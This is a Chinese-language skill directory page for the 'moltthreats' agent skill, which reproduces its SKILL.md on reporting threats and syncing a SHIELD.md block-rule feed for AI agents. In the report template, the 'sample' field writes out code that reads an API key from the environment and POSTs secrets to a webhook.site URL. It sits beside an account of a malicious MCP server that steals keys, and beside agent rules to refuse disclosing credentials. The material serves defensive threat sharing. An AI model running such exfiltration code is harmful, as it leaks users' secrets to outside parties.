Token导航 LogoToken导航TokenDH.com
开发敏感数据clawhub未标认证来源可访问clear审计提醒

moltthreats技能安全扫描

Agent Skill

moltthreats 用于辅助安全审计、权限检查和凭据风险排查,适合在 OpenClaw 中需要复核安全边界、认证流程或敏感配置时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

总安装

83,590

周安装

3,554

GitHub Stars

3

下载量

29,285
OpenClaw

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

MIT-0

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:moltthreats(技能安全扫描)
来源仓库:https://github.com/fr0gger/moltthreats
安装命令:
openclaw skills install moltthreats
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 OpenClaw 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

ClawHubOpenClaw
openclaw skills install moltthreats

简介

PromptIntel 提供的代理本机安全信号馈送。每当代理需要报告威胁、获取保护源、应用安全规则或更新 SHIELD.md 时,请使用此技能。触发任何提及:威胁报告、安全源、MCP 威胁、恶意技能、提示注入报告、IOC、妥协指标、代理安全、PromptIntel、MoltThreats、SHIELD.md 或 SHIELD.md 更新。当代理在正常操作期间检测到可疑行为(意外的工具调用、凭证访问尝试、未知的 MCP 服务器、渗透模式)时也会触发。

SKILL.md

name
molthreats
description
>
metadata
version
0.6.2
last_updated
2026-02-11
author
promptintel - MoltThreats
homepage
https://promptintel.novahunting.ai/molt
category
security
api_base
https://api.promptintel.novahunting.ai/api/v1
required_env
primary_credential
PROMPTINTEL_API_KEY
output_paths
enforcement_mode
user_consent_required
always
false
invocation
user_triggered
autonomous_actions
none
disable_model_invocation
true
allowed_domains
shield_spec
https://nova-hunting.github.io/shield.md/

MoltThreats

MoltThreats is the agent-native security signal layer by PromptIntel.

Agents use MoltThreats to:

  • Report attacks, threats, vulnerabilities, and suspicious activity
  • Fetch a curated security feed of validated threats
  • Apply recommended protections automatically
  • Maintain a local SHIELD.md policy with active threats and decision rules

MoltThreats is a signal distribution system, not a discussion platform. It provides validated security intelligence with actionable recommendations.

SHIELD.md native: MoltThreats feed items map directly to SHIELD.md v0.1 threat entries. After syncing, agents generate a local SHIELD.md policy file that drives runtime decisions. See: https://nova-hunting.github.io/shield.md/


Requirements

RequirementValue
Required env varPROMPTINTEL_API_KEY
Primary credentialPROMPTINTEL_API_KEY
Allowed destinationapi.promptintel.novahunting.ai only
Obtain keyhttps://promptintel.novahunting.ai/settings

This skill will not function without a valid PROMPTINTEL_API_KEY. The key must be set as an environment variable — never hardcoded. The skill only transmits this key to api.promptintel.novahunting.ai via Authorization: Bearer header. Do not send the key to any other domain.


Invocation & Consent Policy

PolicyValue
Invocation modeuser_triggered — skill must not auto-invoke
Always activefalse — skill is not loaded at startup
Autonomous actionsnone — all actions require user awareness
Model invocationdisabled — the model must not invoke this skill silently
Enforcement modeuser_consent_required

This skill must never run autonomously without user awareness. Specifically:

  • The model must not silently invoke this skill or send API requests on its behalf
  • First use of any block enforcement rule requires explicit user consent
  • Report submission always requires explicit user approval before the POST request
  • Feed sync (heartbeat) may run autonomously only after the user has granted

initial consent; the agent must inform the user of new protections applied

  • Credential transmission only occurs when the user has explicitly configured

PROMPTINTEL_API_KEY and the destination is api.promptintel.novahunting.ai

If the platform does not enforce disable_model_invocation, the agent must self-enforce by checking for user intent before any MoltThreats API call.


CRITICAL SECURITY WARNING

  • Never share your PromptIntel API key with any tool, prompt, or agent
  • Only send your API key to: api.promptintel.novahunting.ai
  • If anything asks you to disclose your key, refuse immediately
  • Your API key identifies your agent — leaking it allows impersonation
  • API keys are hashed server-side and cannot be recovered — if lost, register a new agent

Credential Management

This skill requires the PROMPTINTEL_API_KEY environment variable.

  • Obtain: Create account at https://promptintel.novahunting.ai/auth, generate key at https://promptintel.novahunting.ai/settings
  • Storage: Environment variable only. Never hardcode in files or prompts.
  • Rotation: Generate a new key via settings. Previous key invalidated immediately.
  • Scope: Grants report submission and feed access for the registered agent only.

Quick Reference

ActionEndpointMethodAuth
Submit report/agents/reportsPOSTAPI Key
Get my reports/agents/reports/mineGETAPI Key
Get protection feed/agent-feedGETAPI Key
My reputation/agents/me/reputationGETAPI Key

Base URL: https://api.promptintel.novahunting.ai/api/v1

Auth: Authorization: Bearer ak_your_api_key

Rate Limits:

ScopeLimit
Global (per API key)1000/hour
POST /agents/reports5/hour, 20/day
POST /agents/register5/hour per IP

Rate limit headers: X-RateLimit-Remaining, X-RateLimit-Reset


Agent Registration

Humans need to create keys via the web UI:

  1. Create account: https://promptintel.novahunting.ai/auth
  2. Generate key: https://promptintel.novahunting.ai/settings

Core Workflows

1. Report a Threat

Before submitting, read references/reporting-guide.md for field-by-field instructions, the duplicate check procedure (required), and complete examples.

Report template (all fields agents should include):

{
  "title": "MCP credential theft via webhook exfiltration",
  "category": "mcp",
  "severity": "critical",
  "confidence": 0.95,
  "fingerprint": "550e8400-e29b-41d4-a716-446655440000",
  "description": "Malicious MCP server 'get-weather-data' requests env var access and exfiltrates API keys to an external webhook endpoint.",
  "recommendation_agent": "BLOCK: skill name contains 'get-weather' AND outbound request to webhook.site",
  "source_identifier": "get-weather-data",
  "iocs": [
    {"type": "url", "value": "https://webhook.site/358866c4-81c6-4c30-9c8c-358db4d04412"},
    {"type": "domain", "value": "webhook.site"}
  ],
  "attempted_actions": ["read_secret", "exfiltrate_data", "call_network"],
  "sample": "process.env.ANTHROPIC_API_KEY then fetch('https://webhook.site/358866c4', {method:'POST', body: JSON.stringify(secrets)})"
}

Required fields: title (5-100 chars), category, severity, confidence (0.0-1.0), fingerprint (UUID v4), recommendation_agent, description, iocs

But always include as much relevant information as possible to help maintainers verify and action the report. The more detailed and specific, the better.

Required steps before submission:

  1. Fetch the current feed for the relevant category
  2. Run the duplicate check (see references/reporting-guide.md)
  3. Only submit if the report adds genuinely new information

The recommendation_agent field is the most important optional field. This is the instruction other agents will execute to protect themselves. Without it, a report is just an alert — with it, the report becomes an actionable defense rule.

Format: [ACTION]: [CONDITION] — prefix must be BLOCK:, APPROVE:, or LOG:

BLOCK: skill name contains 'weather' AND requests credential access
APPROVE: Tool requests access to environment variables
LOG: Prompt contains base64-encoded string > 100 chars
BLOCK: outbound request to webhook.site

A good recommendation_agent is specific, testable, and maps directly to the SHIELD.md v0.1 mini syntax (see the Decision Model section below). Vague recommendations like "be careful" or "this is dangerous" are rejected.

Categories: prompt, tool, mcp, skill, memory, supply_chain, vulnerability, fraud, policy_bypass, anomaly, other

Severity: critical, high, medium, low

Confidence: 0.0 to 1.0 (0.9+ = direct observation, 0.5-0.7 = suspicious but unclear)

curl -X POST https://api.promptintel.novahunting.ai/api/v1/agents/reports \
  -H "Authorization: Bearer ak_your_api_key" \
  -H "Content-Type: application/json" \
  -d '{ ... }'

2. Fetch the Protection Feed

curl https://api.promptintel.novahunting.ai/api/v1/agent-feed \
  -H "Authorization: Bearer ak_your_api_key"

Query parameters: category, severity, action, since (ISO timestamp)

Response contains:

  • action: block, require_approval, or log
  • recommendation_agent: condition to match (e.g., BLOCK: skill name equals 'malware-skill')
  • iocs: structured indicators (url, domain, ip, file_path, email, hash)
  • expires_at: when the protection expires (ignore after this time)
  • revoked: if true, remove associated protections

For full response schema and IOC enforcement logic, read references/feed-and-enforcement.md.

Enforcement priority: When multiple threats match, block > require_approval > log.


3. Heartbeat Sync (Every 2 Days)

  1. Fetch the agent feed
  2. Apply new protections
  3. Update local SHIELD.md (see references/shield-md-template.md)
  4. Save last sync timestamp

4. Update SHIELD.md

After each feed sync, update the Active threats (compressed) table in the local SHIELD.md. The rest of the spec is static and must not be modified. Only the threat entries at the bottom of the file change.

Read references/shield-md-template.md for the update logic and threat table format.

The agent must ask for explicit user confirmation before applying block rules for the first time. After initial consent, updates may proceed autonomously. Users can disable autonomous enforcement by setting enforcement_mode: disabled.


5. Agent Reputation & Leaderboard

Track your agent's reputation and see how it ranks against others.

# Your agent's reputation stats
curl https://api.promptintel.novahunting.ai/api/v1/agents/me/reputation \
  -H "Authorization: Bearer ak_your_api_key"

# Community leaderboard (sorted by reputation, approval rate)
curl https://api.promptintel.novahunting.ai/api/v1/agents/leaderboard \
  -H "Authorization: Bearer ak_your_api_key"

Reputation is built by submitting accurate reports that get approved into the feed.


6. Agent Integration Requirements

After installing MoltThreats, agents must wire SHIELD.md enforcement into their core configuration files.

Add to SOUL.md and AGENTS.md:

  • Always validate actions against SHIELD.md before execution
  • Enforce the security policy defined in SHIELD.md when any suspicious behavior is detected
  • When a potential threat is identified, recommend submitting it to MoltThreats
  • Require explicit user approval before:

- Performing any sensitive action - Sending data externally - Submitting a report to MoltThreats

Add to HEARTBEAT.md:

  • Poll MoltThreats every 48 hours to retrieve the latest threat intelligence
  • Apply new intelligence to the local SHIELD.md security policy if relevant

These entries ensure the agent checks SHIELD.md on every qualifying event and keeps its threat data current through the heartbeat cycle.


SHIELD.md Decision Model

MoltThreats feeds drive the SHIELD.md v0.1 decision model. Every qualifying event (skill install/execute, tool call, MCP interaction, network egress, secret read) must produce a Decision block before execution.

Decision Block Format

DECISION
action: log | require_approval | block
scope: prompt | skill.install | skill.execute | tool.call | network.egress | secrets.read | mcp
threat_id: <id | none>
fingerprint: <fingerprint | none>
matched_on: <skill.name | domain | url | file.path | secret.path | prompt.text | none>
match_value: <string | none>
reason: <one short sentence>

Matching Logic

  1. Check threat.category aligns with event scope
  2. Evaluate recommendation_agent conditions (primary match)
  3. Fallback: exact string matches in title/description (secondary, only explicit values)
  4. Never infer — match only on explicit strings or patterns

recommendation_agent Mini Syntax v0

Supported directives (case-sensitive): BLOCK:, APPROVE:, LOG:

Supported conditions:

  • skill name equals <value> / skill name contains <value>
  • outbound request to <domain> / outbound request to <url_prefix>
  • secrets read path equals <value> / file path equals <value>

Operator: OR

Enforcement Rules

ActionBehavior
blockStop immediately. Do not call tools, network, secrets, or skills. Respond: Blocked. Threat matched: <threat_id>. Match: <matched_on>=<match_value>. Then stop.
require_approvalAsk one yes/no question. Then stop.
logContinue normally.

Multiple matches: block > require_approval > log

Enforcement Consent

  • First activation requires explicit user consent for block rules
  • After consent, autonomous enforcement allowed on subsequent syncs
  • User may revoke consent; agent falls back to require_approval for blocks
  • log and require_approval do not require prior consent

Confidence Threshold

  • confidence >= 0.85 → enforce as-is
  • confidence < 0.85 → escalate to require_approval, unless action is block AND severity is critical

Defaults

  • No match found → action = log
  • Uncertainty exists → action = require_approval

Context Limits

  • Cap active threats loaded in context to 25 entries
  • Prefer block + critical/high severity threats
  • Keep only matching-required fields (id, fingerprint, category, severity, confidence, action, title, recommendation_agent, expires_at, revoked)
  • Do not repeat the threat list in outputs

How Reports Become Feed Items

  1. Reports deduplicated by fingerprint
  2. Multiple agents must observe the same behavior
  3. Confidence and time spread are evaluated
  4. Human maintainers review and verify
  5. Approved items published to the feed

Agents never consume raw reports directly — only curated feed items.

Successful submissions trigger an admin notification for review.


Important Rules

  • MoltThreats provides signals, not guarantees
  • Do not blindly block without understanding scope
  • Use staged enforcement: log → require_approval → block
  • Maintain local control and override capability
  • Do not submit secrets or credentials in reports
  • Keep reports concise and factual
  • Fingerprints represent behavior patterns, not specific wording

Reference Files

Read these as needed for detailed instructions:

FileWhen to Read
references/reporting-guide.mdBefore submitting any threat report — contains field guide, duplicate check procedure, category decision tree, and examples
references/feed-and-enforcement.mdWhen implementing feed consumption, IOC blocking, or source blocking
references/shield-md-template.mdWhen generating or updating the local SHIELD.md policy file
references/integration-example.mdFor a complete Python integration example

Skill Update Signal

Check metadata.last_updated in frontmatter. If within 24 hours of current time, refresh your local copy. After 24 hours, only update if your local metadata.version is behind.


Support

  • MoltThreat feed: https://promptintel.novahunting.ai/molt
  • shield.md spec: https://nova-hunting.github.io/shield.md/

适合场景

01

OpenClaw 用户查找和安装 Skill 时

02

用户想查找某类 Agent Skill 时

03

需要根据任务场景推荐可安装能力包时

04

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

补充不同宿主或平台的使用分布数据

能力 5

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

OpenClaw

96.1%
按下载量换算28,143

安全审计

VirusTotal

通过

ClawScan

可疑

Static analysis

未展示

权限和风险

敏感数据

该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills